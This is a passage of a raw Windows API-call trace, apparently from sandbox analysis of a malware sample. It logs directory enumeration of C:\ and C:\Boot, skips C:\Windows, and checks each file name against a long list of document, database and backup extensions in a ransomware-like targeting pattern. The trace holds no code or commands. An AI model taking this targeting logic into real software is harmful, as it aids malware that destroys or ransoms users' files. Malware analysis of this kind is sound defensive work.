[0039.426] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0039.426] lstrlenW (lpString=".dbx") returned 4 [0039.426] lstrcmpiW (lpString1=".dbx", lpString2=".ini") returned -1 [0039.426] lstrlenW (lpString=".dc3") returned 4 [0039.426] lstrcmpiW (lpString1=".dc3", lpString2=".ini") returned -1 [0039.426] lstrlenW (lpString=".dcm") returned 4 [0039.427] lstrcmpiW (lpString1=".dcm", lpString2=".ini") returned -1 [0039.427] lstrlenW (lpString=".dcr") returned 4 [0039.427] lstrcmpiW (lpString1=".dcr", lpString2=".ini") returned -1 [0039.427] lstrlenW (lpString=".der") returned 4 [0039.427] lstrcmpiW (lpString1=".der", lpString2=".ini") returned -1 [0039.427] lstrlenW (lpString=".dib") returned 4 [0039.427] lstrcmpiW (lpString1=".dib", lpString2=".ini") returned -1 [0039.427] lstrlenW (lpString=".dic") returned 4 [0039.427] lstrcmpiW (lpString1=".dic", lpString2=".ini") returned -1 [0039.427] lstrlenW (lpString=".dif") returned 4 [0039.427] lstrcmpiW (lpString1=".dif", lpString2=".ini") returned -1 [0039.427] lstrlenW (lpString=".divx") returned 5 [0039.427] lstrcmpiW (lpString1=".divx", lpString2="p.ini") returned -1 [0039.427] lstrlenW (lpString=".djvu") returned 5 [0039.427] lstrcmpiW (lpString1=".djvu", lpString2="p.ini") returned -1 [0039.427] lstrlenW (lpString=".dng") returned 4 [0039.427] lstrcmpiW (lpString1=".dng", lpString2=".ini") returned -1 [0039.427] lstrlenW (lpString=".doc") returned 4 [0039.427] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0039.427] lstrlenW (lpString=".docm") returned 5 [0039.427] lstrcmpiW (lpString1=".docm", lpString2="p.ini") returned -1 [0039.427] lstrlenW (lpString=".docx") returned 5 [0039.427] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0039.427] lstrlenW (lpString=".dot") returned 4 [0039.427] lstrcmpiW (lpString1=".dot", lpString2=".ini") returned -1 [0039.427] lstrlenW (lpString=".dotm") returned 5 [0039.427] lstrcmpiW (lpString1=".dotm", lpString2="p.ini") returned -1 [0039.427] lstrlenW (lpString=".dotx") returned 5 [0039.427] lstrcmpiW (lpString1=".dotx", lpString2="p.ini") returned -1 [0039.427] lstrlenW (lpString=".dpx") returned 4 [0039.427] lstrcmpiW (lpString1=".dpx", lpString2=".ini") returned -1 [0039.427] lstrlenW (lpString=".dqy") returned 4 [0039.428] lstrcmpiW (lpString1=".dqy", lpString2=".ini") returned -1 [0039.428] lstrlenW (lpString=".dsn") returned 4 [0039.428] lstrcmpiW (lpString1=".dsn", lpString2=".ini") returned -1 [0039.428] lstrlenW (lpString=".dt") returned 3 [0039.428] lstrcmpiW (lpString1=".dt", lpString2="ini") returned -1 [0039.428] lstrlenW (lpString=".dtd") returned 4 [0039.428] lstrcmpiW (lpString1=".dtd", lpString2=".ini") returned -1 [0039.428] lstrlenW (lpString=".dwg") returned 4 [0039.428] lstrcmpiW (lpString1=".dwg", lpString2=".ini") returned -1 [0039.428] lstrlenW (lpString=".dwt") returned 4 [0039.428] lstrcmpiW (lpString1=".dwt", lpString2=".ini") returned -1 [0039.428] lstrlenW (lpString=".dx") returned 3 [0039.428] lstrcmpiW (lpString1=".dx", lpString2="ini") returned -1 [0039.428] lstrlenW (lpString=".dxf") returned 4 [0039.428] lstrcmpiW (lpString1=".dxf", lpString2=".ini") returned -1 [0039.428] lstrlenW (lpString=".edml") returned 5 [0039.428] lstrcmpiW (lpString1=".edml", lpString2="p.ini") returned -1 [0039.428] lstrlenW (lpString=".efd") returned 4 [0039.428] lstrcmpiW (lpString1=".efd", lpString2=".ini") returned -1 [0039.428] lstrlenW (lpString=".elf") returned 4 [0039.428] lstrcmpiW (lpString1=".elf", lpString2=".ini") returned -1 [0039.428] lstrlenW (lpString=".emf") returned 4 [0039.428] lstrcmpiW (lpString1=".emf", lpString2=".ini") returned -1 [0039.428] lstrlenW (lpString=".emz") returned 4 [0039.428] lstrcmpiW (lpString1=".emz", lpString2=".ini") returned -1 [0039.428] lstrlenW (lpString=".epf") returned 4 [0039.428] lstrcmpiW (lpString1=".epf", lpString2=".ini") returned -1 [0039.428] lstrlenW (lpString=".eps") returned 4 [0039.428] lstrcmpiW (lpString1=".eps", lpString2=".ini") returned -1 [0039.428] lstrlenW (lpString=".epsf") returned 5 [0039.428] lstrcmpiW (lpString1=".epsf", lpString2="p.ini") returned -1 [0039.428] lstrlenW (lpString=".epsp") returned 5 [0039.428] lstrcmpiW (lpString1=".epsp", lpString2="p.ini") returned -1 [0039.429] lstrlenW (lpString=".erf") returned 4 [0039.429] lstrcmpiW (lpString1=".erf", lpString2=".ini") returned -1 [0039.429] lstrlenW (lpString=".exr") returned 4 [0039.429] lstrcmpiW (lpString1=".exr", lpString2=".ini") returned -1 [0039.429] lstrlenW (lpString=".f4v") returned 4 [0039.429] lstrcmpiW (lpString1=".f4v", lpString2=".ini") returned -1 [0039.429] lstrlenW (lpString=".fido") returned 5 [0039.429] lstrcmpiW (lpString1=".fido", lpString2="p.ini") returned -1 [0039.429] lstrlenW (lpString=".flm") returned 4 [0039.429] lstrcmpiW (lpString1=".flm", lpString2=".ini") returned -1 [0039.429] lstrlenW (lpString=".flv") returned 4 [0039.429] lstrcmpiW (lpString1=".flv", lpString2=".ini") returned -1 [0039.429] lstrlenW (lpString=".frm") returned 4 [0039.429] lstrcmpiW (lpString1=".frm", lpString2=".ini") returned -1 [0039.429] lstrlenW (lpString=".fxg") returned 4 [0039.429] lstrcmpiW (lpString1=".fxg", lpString2=".ini") returned -1 [0039.429] lstrlenW (lpString=".geo") returned 4 [0039.429] lstrcmpiW (lpString1=".geo", lpString2=".ini") returned -1 [0039.429] lstrlenW (lpString=".gif") returned 4 [0039.429] lstrcmpiW (lpString1=".gif", lpString2=".ini") returned -1 [0039.429] lstrlenW (lpString=".grs") returned 4 [0039.429] lstrcmpiW (lpString1=".grs", lpString2=".ini") returned -1 [0039.429] lstrlenW (lpString=".gz") returned 3 [0039.429] lstrcmpiW (lpString1=".gz", lpString2="ini") returned -1 [0039.429] lstrlenW (lpString=".h") returned 2 [0039.429] lstrcmpiW (lpString1=".h", lpString2="ni") returned -1 [0039.429] lstrlenW (lpString=".hdr") returned 4 [0039.429] lstrcmpiW (lpString1=".hdr", lpString2=".ini") returned -1 [0039.429] lstrlenW (lpString=".hpp") returned 4 [0039.429] lstrcmpiW (lpString1=".hpp", lpString2=".ini") returned -1 [0039.429] lstrlenW (lpString=".hta") returned 4 [0039.429] lstrcmpiW (lpString1=".hta", lpString2=".ini") returned -1 [0039.429] lstrlenW (lpString=".htc") returned 4 [0039.430] lstrcmpiW (lpString1=".htc", lpString2=".ini") returned -1 [0039.430] lstrlenW (lpString=".htm") returned 4 [0039.430] lstrcmpiW (lpString1=".htm", lpString2=".ini") returned -1 [0039.430] lstrlenW (lpString=".html") returned 5 [0039.430] lstrcmpiW (lpString1=".html", lpString2="p.ini") returned -1 [0039.430] lstrlenW (lpString=".icb") returned 4 [0039.430] lstrcmpiW (lpString1=".icb", lpString2=".ini") returned -1 [0039.430] lstrlenW (lpString=".ics") returned 4 [0039.430] lstrcmpiW (lpString1=".ics", lpString2=".ini") returned -1 [0039.430] lstrlenW (lpString=".iff") returned 4 [0039.430] lstrcmpiW (lpString1=".iff", lpString2=".ini") returned -1 [0039.430] lstrlenW (lpString=".inc") returned 4 [0039.430] lstrcmpiW (lpString1=".inc", lpString2=".ini") returned -1 [0039.430] lstrlenW (lpString=".indd") returned 5 [0039.430] lstrcmpiW (lpString1=".indd", lpString2="p.ini") returned -1 [0039.430] lstrlenW (lpString=".ini") returned 4 [0039.430] lstrcmpiW (lpString1=".ini", lpString2=".ini") returned 0 [0039.430] FindNextFileW (in: hFindFile=0x691d78, lpFindFileData=0x394f808 | out: lpFindFileData=0x394f808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0039.430] FindClose (in: hFindFile=0x691d78 | out: hFindFile=0x691d78) returned 1 [0039.430] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36b0738 | out: hHeap=0x5a0000) returned 1 [0039.430] FindNextFileW (in: hFindFile=0x690d30, lpFindFileData=0x394fa84 | out: lpFindFileData=0x394fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0039.430] FindClose (in: hFindFile=0x690d30 | out: hFindFile=0x690d30) returned 1 [0039.430] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36a0730 | out: hHeap=0x5a0000) returned 1 [0039.430] FindNextFileW (in: hFindFile=0x690cf0, lpFindFileData=0x394fd00 | out: lpFindFileData=0x394fd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0039.430] lstrlenW (lpString="C:\\Boot") returned 7 [0039.431] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Boot") returned 1 [0039.431] lstrlenW (lpString="Boot") returned 4 [0039.431] lstrcmpiW (lpString1="C:\\Windows", lpString2="Boot") returned 1 [0039.431] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x36a0730 [0039.431] lstrlenW (lpString="C:\\Boot") returned 7 [0039.431] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x394fa84 | out: lpFindFileData=0x394fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x691d38 [0039.431] FindNextFileW (in: hFindFile=0x691d38, lpFindFileData=0x394fa84 | out: lpFindFileData=0x394fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.431] FindNextFileW (in: hFindFile=0x691d38, lpFindFileData=0x394fa84 | out: lpFindFileData=0x394fa84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x2ebf9340, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2ebf9340, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0039.431] lstrlenW (lpString="BCD") returned 3 [0039.431] lstrlenW (lpString=".1cd") returned 4 [0039.431] lstrcmpiW (lpString1=".1cd", lpString2="") returned 1 [0039.431] lstrlenW (lpString=".3ds") returned 4 [0039.431] lstrcmpiW (lpString1=".3ds", lpString2="") returned 1 [0039.431] lstrlenW (lpString=".3fr") returned 4 [0039.431] lstrcmpiW (lpString1=".3fr", lpString2="") returned 1 [0039.431] lstrlenW (lpString=".3g2") returned 4 [0039.431] lstrcmpiW (lpString1=".3g2", lpString2="") returned 1 [0039.431] lstrlenW (lpString=".3gp") returned 4 [0039.431] lstrcmpiW (lpString1=".3gp", lpString2="") returned 1 [0039.431] lstrlenW (lpString=".7z") returned 3 [0039.431] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0039.431] lstrlenW (lpString=".accda") returned 6 [0039.431] lstrcmpiW (lpString1=".accda", lpString2="") returned 1 [0039.431] lstrlenW (lpString=".accdb") returned 6 [0039.431] lstrcmpiW (lpString1=".accdb", lpString2="") returned 1 [0039.432] lstrlenW (lpString=".accdc") returned 6 [0039.432] lstrcmpiW (lpString1=".accdc", lpString2="") returned 1 [0039.432] lstrlenW (lpString=".accde") returned 6 [0039.432] lstrcmpiW (lpString1=".accde", lpString2="") returned 1 [0039.432] lstrlenW (lpString=".accdt") returned 6 [0039.432] lstrcmpiW (lpString1=".accdt", lpString2="") returned 1 [0039.432] lstrlenW (lpString=".accdw") returned 6 [0039.432] lstrcmpiW (lpString1=".accdw", lpString2="") returned 1 [0039.432] lstrlenW (lpString=".adb") returned 4 [0039.432] lstrcmpiW (lpString1=".adb", lpString2="") returned 1 [0039.432] lstrlenW (lpString=".adp") returned 4 [0039.432] lstrcmpiW (lpString1=".adp", lpString2="") returned 1 [0039.432] lstrlenW (lpString=".ai") returned 3 [0039.432] lstrcmpiW (lpString1=".ai", lpString2="BCD") returned -1 [0039.432] lstrlenW (lpString=".ai3") returned 4 [0039.432] lstrcmpiW (lpString1=".ai3", lpString2="") returned 1 [0039.432] lstrlenW (lpString=".ai4") returned 4 [0039.432] lstrcmpiW (lpString1=".ai4", lpString2="") returned 1 [0039.432] lstrlenW (lpString=".ai5") returned 4 [0039.432] lstrcmpiW (lpString1=".ai5", lpString2="") returned 1 [0039.432] lstrlenW (lpString=".ai6") returned 4 [0039.432] lstrcmpiW (lpString1=".ai6", lpString2="") returned 1 [0039.432] lstrlenW (lpString=".ai7") returned 4 [0039.433] lstrcmpiW (lpString1=".ai7", lpString2="") returned 1 [0039.433] lstrlenW (lpString=".ai8") returned 4 [0039.433] lstrcmpiW (lpString1=".ai8", lpString2="") returned 1 [0039.433] lstrlenW (lpString=".anim") returned 5 [0039.433] lstrcmpiW (lpString1=".anim", lpString2="") returned 1 [0039.433] lstrlenW (lpString=".arw") returned 4 [0039.433] lstrcmpiW (lpString1=".arw", lpString2="") returned 1 [0039.433] lstrlenW (lpString=".as") returned 3 [0039.433] lstrcmpiW (lpString1=".as", lpString2="BCD") returned -1 [0039.433] lstrlenW (lpString=".asa") returned 4 [0039.433] lstrcmpiW (lpString1=".asa", lpString2="") returned 1 [0039.433] lstrlenW (lpString=".asc") returned 4 [0039.433] lstrcmpiW (lpString1=".asc", lpString2="") returned 1 [0039.433] lstrlenW (lpString=".ascx") returned 5 [0039.433] lstrcmpiW (lpString1=".ascx", lpString2="") returned 1 [0039.433] lstrlenW (lpString=".asm") returned 4 [0039.433] lstrcmpiW (lpString1=".asm", lpString2="") returned 1 [0039.433] lstrlenW (lpString=".asmx") returned 5 [0039.433] lstrcmpiW (lpString1=".asmx", lpString2="") returned 1 [0039.433] lstrlenW (lpString=".asp") returned 4 [0039.433] lstrcmpiW (lpString1=".asp", lpString2="") returned 1 [0039.433] lstrlenW (lpString=".aspx") returned 5 [0039.433] lstrcmpiW (lpString1=".aspx", lpString2="") returned 1 [0039.433] lstrlenW (lpString=".asr") returned 4 [0039.433] lstrcmpiW (lpString1=".asr", lpString2="") returned 1 [0039.433] lstrlenW (lpString=".asx") returned 4 [0039.433] lstrcmpiW (lpString1=".asx", lpString2="") returned 1 [0039.433] lstrlenW (lpString=".avi") returned 4 [0039.433] lstrcmpiW (lpString1=".avi", lpString2="") returned 1 [0039.433] lstrlenW (lpString=".avs") returned 4 [0039.433] lstrcmpiW (lpString1=".avs", lpString2="") returned 1 [0039.433] lstrlenW (lpString=".backup") returned 7 [0039.433] lstrcmpiW (lpString1=".backup", lpString2="") returned 1 [0039.433] lstrlenW (lpString=".bak") returned 4 [0039.434] lstrcmpiW (lpString1=".bak", lpString2="") returned 1 [0039.434] lstrlenW (lpString=".bay") returned 4 [0039.434] lstrcmpiW (lpString1=".bay", lpString2="") returned 1 [0039.434] lstrlenW (lpString=".bd") returned 3 [0039.434] lstrcmpiW (lpString1=".bd", lpString2="BCD") returned -1 [0039.434] lstrlenW (lpString=".bin") returned 4 [0039.434] lstrcmpiW (lpString1=".bin", lpString2="") returned 1 [0039.434] lstrlenW (lpString=".bmp") returned 4 [0039.434] lstrcmpiW (lpString1=".bmp", lpString2="") returned 1 [0039.434] lstrlenW (lpString=".bz2") returned 4 [0039.434] lstrcmpiW (lpString1=".bz2", lpString2="") returned 1 [0039.434] lstrlenW (lpString=".c") returned 2 [0039.434] lstrcmpiW (lpString1=".c", lpString2="CD") returned -1 [0039.434] lstrlenW (lpString=".cdr") returned 4 [0039.434] lstrcmpiW (lpString1=".cdr", lpString2="") returned 1 [0039.434] lstrlenW (lpString=".cer") returned 4 [0039.434] lstrcmpiW (lpString1=".cer", lpString2="") returned 1 [0039.434] lstrlenW (lpString=".cf") returned 3 [0039.434] lstrcmpiW (lpString1=".cf", lpString2="BCD") returned -1 [0039.434] lstrlenW (lpString=".cfc") returned 4 [0039.434] lstrcmpiW (lpString1=".cfc", lpString2="") returned 1 [0039.434] lstrlenW (lpString=".cfm") returned 4 [0039.434] lstrcmpiW (lpString1=".cfm", lpString2="") returned 1 [0039.434] lstrlenW (lpString=".cfml") returned 5 [0039.434] lstrcmpiW (lpString1=".cfml", lpString2="") returned 1 [0039.434] lstrlenW (lpString=".cfu") returned 4 [0039.434] lstrcmpiW (lpString1=".cfu", lpString2="") returned 1 [0039.434] lstrlenW (lpString=".chm") returned 4 [0039.434] lstrcmpiW (lpString1=".chm", lpString2="") returned 1 [0039.434] lstrlenW (lpString=".cin") returned 4 [0039.434] lstrcmpiW (lpString1=".cin", lpString2="") returned 1 [0039.434] lstrlenW (lpString=".class") returned 6 [0039.434] lstrcmpiW (lpString1=".class", lpString2="") returned 1 [0039.435] lstrlenW (lpString=".clx") returned 4 [0039.435] lstrcmpiW (lpString1=".clx", lpString2="") returned 1 [0039.435] lstrlenW (lpString=".config") returned 7 [0039.435] lstrcmpiW (lpString1=".config", lpString2="") returned 1 [0039.435] lstrlenW (lpString=".cpp") returned 4 [0039.435] lstrcmpiW (lpString1=".cpp", lpString2="") returned 1 [0039.435] lstrlenW (lpString=".cr2") returned 4 [0039.435] lstrcmpiW (lpString1=".cr2", lpString2="") returned 1 [0039.435] lstrlenW (lpString=".crt") returned 4 [0039.435] lstrcmpiW (lpString1=".crt", lpString2="") returned 1 [0039.435] lstrlenW (lpString=".crw") returned 4 [0039.435] lstrcmpiW (lpString1=".crw", lpString2="") returned 1 [0039.435] lstrlenW (lpString=".cs") returned 3 [0039.435] lstrcmpiW (lpString1=".cs", lpString2="BCD") returned -1 [0039.435] lstrlenW (lpString=".css") returned 4 [0039.435] lstrcmpiW (lpString1=".css", lpString2="") returned 1 [0039.435] lstrlenW (lpString=".csv") returned 4 [0039.435] lstrcmpiW (lpString1=".csv", lpString2="") returned 1 [0039.435] lstrlenW (lpString=".cub") returned 4 [0039.435] lstrcmpiW (lpString1=".cub", lpString2="") returned 1 [0039.435] lstrlenW (lpString=".dae") returned 4 [0039.435] lstrcmpiW (lpString1=".dae", lpString2="") returned 1 [0039.435] lstrlenW (lpString=".dat") returned 4 [0039.435] lstrcmpiW (lpString1=".dat", lpString2="") returned 1 [0039.435] lstrlenW (lpString=".db") returned 3 [0039.435] lstrcmpiW (lpString1=".db", lpString2="BCD") returned -1 [0039.435] lstrlenW (lpString=".dbf") returned 4 [0039.435] lstrcmpiW (lpString1=".dbf", lpString2="") returned 1 [0039.435] lstrlenW (lpString=".dbx") returned 4 [0039.435] lstrcmpiW (lpString1=".dbx", lpString2="") returned 1 [0039.435] lstrlenW (lpString=".dc3") returned 4 [0039.435] lstrcmpiW (lpString1=".dc3", lpString2="") returned 1 [0039.435] lstrlenW (lpString=".dcm") returned 4 [0039.436] lstrcmpiW (lpString1=".dcm", lpString2="") returned 1 [0039.436] lstrlenW (lpString=".dcr") returned 4 [0039.436] lstrcmpiW (lpString1=".dcr", lpString2="") returned 1 [0039.436] lstrlenW (lpString=".der") returned 4 [0039.436] lstrcmpiW (lpString1=".der", lpString2="") returned 1 [0039.436] lstrlenW (lpString=".dib") returned 4 [0039.436] lstrcmpiW (lpString1=".dib", lpString2="") returned 1 [0039.436] lstrlenW (lpString=".dic") returned 4 [0039.436] lstrcmpiW (lpString1=".dic", lpString2="") returned 1 [0039.436] lstrlenW (lpString=".dif") returned 4 [0039.436] lstrcmpiW (lpString1=".dif", lpString2="") returned 1 [0039.436] lstrlenW (lpString=".divx") returned 5 [0039.436] lstrcmpiW (lpString1=".divx", lpString2="") returned 1 [0039.436] lstrlenW (lpString=".djvu") returned 5 [0039.436] lstrcmpiW (lpString1=".djvu", lpString2="") returned 1 [0039.436] lstrlenW (lpString=".dng") returned 4 [0039.436] lstrcmpiW (lpString1=".dng", lpString2="") returned 1 [0039.436] lstrlenW (lpString=".doc") returned 4 [0039.436] lstrcmpiW (lpString1=".doc", lpString2="") returned 1 [0039.436] lstrlenW (lpString=".docm") returned 5 [0039.436] lstrcmpiW (lpString1=".docm", lpString2="") returned 1 [0039.436] lstrlenW (lpString=".docx") returned 5 [0039.436] lstrcmpiW (lpString1=".docx", lpString2="") returned 1 [0039.436] lstrlenW (lpString=".dot") returned 4 [0039.436] lstrcmpiW (lpString1=".dot", lpString2="") returned 1 [0039.436] lstrlenW (lpString=".dotm") returned 5 [0039.436] lstrcmpiW (lpString1=".dotm", lpString2="") returned 1 [0039.436] lstrlenW (lpString=".dotx") returned 5 [0039.436] lstrcmpiW (lpString1=".dotx", lpString2="") returned 1 [0039.436] lstrlenW (lpString=".dpx") returned 4 [0039.436] lstrcmpiW (lpString1=".dpx", lpString2="") returned 1 [0039.436] lstrlenW (lpString=".dqy") returned 4 [0039.436] lstrcmpiW (lpString1=".dqy", lpString2="") returned 1 [0039.436] lstrlenW (lpString=".dsn") returned 4 [0039.437] lstrcmpiW (lpString1=".dsn", lpString2="") returned 1 [0039.437] lstrlenW (lpString=".dt") returned 3 [0039.437] lstrcmpiW (lpString1=".dt", lpString2="BCD") returned -1 [0039.437] lstrlenW (lpString=".dtd") returned 4 [0039.437] lstrcmpiW (lpString1=".dtd", lpString2="") returned 1 [0039.437] lstrlenW (lpString=".dwg") returned 4 [0039.437] lstrcmpiW (lpString1=".dwg", lpString2="") returned 1 [0039.437] lstrlenW (lpString=".dwt") returned 4 [0039.437] lstrcmpiW (lpString1=".dwt", lpString2="") returned 1 [0039.437] lstrlenW (lpString=".dx") returned 3 [0039.437] lstrcmpiW (lpString1=".dx", lpString2="BCD") returned -1 [0039.437] lstrlenW (lpString=".dxf") returned 4 [0039.437] lstrcmpiW (lpString1=".dxf", lpString2="") returned 1 [0039.437] lstrlenW (lpString=".edml") returned 5 [0039.437] lstrcmpiW (lpString1=".edml", lpString2="") returned 1 [0039.437] lstrlenW (lpString=".efd") returned 4 [0039.437] lstrcmpiW (lpString1=".efd", lpString2="") returned 1 [0039.437] lstrlenW (lpString=".elf") returned 4 [0039.437] lstrcmpiW (lpString1=".elf", lpString2="") returned 1 [0039.437] lstrlenW (lpString=".emf") returned 4 [0039.437] lstrcmpiW (lpString1=".emf", lpString2="") returned 1 [0039.437] lstrlenW (lpString=".emz") returned 4 [0039.437] lstrcmpiW (lpString1=".emz", lpString2="") returned 1 [0039.437] lstrlenW (lpString=".epf") returned 4 [0039.437] lstrcmpiW (lpString1=".epf", lpString2="") returned 1 [0039.437] lstrlenW (lpString=".eps") returned 4 [0039.437] lstrcmpiW (lpString1=".eps", lpString2="") returned 1 [0039.437] lstrlenW (lpString=".epsf") returned 5 [0039.437] lstrcmpiW (lpString1=".epsf", lpString2="") returned 1 [0039.437] lstrlenW (lpString=".epsp") returned 5 [0039.437] lstrcmpiW (lpString1=".epsp", lpString2="") returned 1 [0039.437] lstrlenW (lpString=".erf") returned 4 [0039.437] lstrcmpiW (lpString1=".erf", lpString2="") returned 1 [0039.438] lstrlenW (lpString=".exr") returned 4 [0039.438] lstrcmpiW (lpString1=".exr", lpString2="") returned 1 [0039.438] lstrlenW (lpString=".f4v") returned 4 [0039.438] lstrcmpiW (lpString1=".f4v", lpString2="") returned 1 [0039.438] lstrlenW (lpString=".fido") returned 5 [0039.438] lstrcmpiW (lpString1=".fido", lpString2="") returned 1 [0039.438] lstrlenW (lpString=".flm") returned 4 [0039.438] lstrcmpiW (lpString1=".flm", lpString2="") returned 1 [0039.438] lstrlenW (lpString=".flv") returned 4 [0039.438] lstrcmpiW (lpString1=".flv", lpString2="") returned 1 [0039.438] lstrlenW (lpString=".frm") returned 4 [0039.438] lstrcmpiW (lpString1=".frm", lpString2="") returned 1 [0039.438] lstrlenW (lpString=".fxg") returned 4 [0039.438] lstrcmpiW (lpString1=".fxg", lpString2="") returned 1 [0039.438] FindNextFileW (in: hFindFile=0x691d38, lpFindFileData=0x394fa84 | out: lpFindFileData=0x394fa84*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac2e8a60, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x469b3b00, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0039.438] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x36b0738 [0039.438] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x394f808 | out: lpFindFileData=0x394f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x692d80 [0039.481] FindNextFileW (in: hFindFile=0x692d80, lpFindFileData=0x394f808 | out: lpFindFileData=0x394f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.481] FindNextFileW (in: hFindFile=0x692d80, lpFindFileData=0x394f808 | out: lpFindFileData=0x394f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0039.481] FindClose (in: hFindFile=0x692d80 | out: hFindFile=0x692d80) returned 1 [0039.481] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36b0738 | out: hHeap=0x5a0000) returned 1 [0039.481] FindNextFileW (in: hFindFile=0x691d38, lpFindFileData=0x394fa84 | out: lpFindFileData=0x394fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0039.482] lstrlenW (lpString="C:\\Boot\\da-DK") returned 13 [0039.482] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Boot\\da-DK") returned 1 [0039.482] lstrlenW (lpString="da-DK") returned 5 [0039.482] lstrcmpiW (lpString1="C:\\Windows", 